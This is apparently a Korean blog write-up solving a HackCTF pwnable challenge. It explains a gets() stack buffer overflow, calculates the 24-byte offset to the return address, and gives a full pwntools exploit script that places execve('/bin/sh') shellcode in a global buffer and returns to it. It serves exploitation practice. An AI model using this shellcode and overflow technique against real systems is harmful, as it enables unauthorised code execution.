본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) 내 버퍼가 흘러넘친다! 풀이

by snwo 2020. 3. 11.

main 함수다! NameInput 을 입력받는데, Name -> read함수로 0x32 만큼, Input -> gets함수로 입력을 받는다.

그렇다면 gets 함수에서 입력을 받을때 BOF(Buffer Over Flow) 가 발생할 수 있다.

 

gets 로 입력을 받을때, return주소까지 값을 채워넣어 

return 주소에 shell code 를 작성해 넣자.


checksec 로 확인해보면 아무런 메모리보호기법이 적용되어있지 않다. 그렇다면 이제 payload 를 작성해보자.


  1. 쉘코드 주소 정하기
  2. return 주소 구하기
  3. 쉘코드 짜기
  4. exploit 코드 짜기 (python)

[ 1 ]

 

쉘코드의 주소는 

전역변수인 name 으로 정했다!


[ 2 ]

 

[        ebp       ]

[ ret address ]

 

main 함수 내에서 스택의 모습이다.

inputebp-0x14 에 입력을 받고,

ret addressebp+4 에 있으니

ebp-0x14 ~ ret 까지 거리는

0x18 = 24


[ 3 ]

 

쉘코드를 c언어로 작성해서

컴파일 후 디스어셈블해서 붙여넣을수 있지만,

name의 크기인 32h (50) 바이트의 제약이 있으니

인터넷에서 쉘코드쇼핑을 해보자

http://shell-storm.org/shellcode/files/shellcode-827.php

요기 아주 고마운사이트가 있다. 이제 exploit 코드를 짜보자


[ 4 ]

 

Name : 쉘코드

Input : Dummy(24) + Name 주소

 

이렇게 payload를 정했으니 코드로 옮겨보자


[ python ]

from pwn import *

p=remote("ctf.j0n9hyun.xyz",3003)

Name=p32(0x804a060)
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload='h'*24+Name

p.recvuntil("Name :")
p.sendline(shellcode)
p.recvuntil("input :")
p.sendline(payload)
p.interactive()

 

FLAG

더보기

Try yourself please.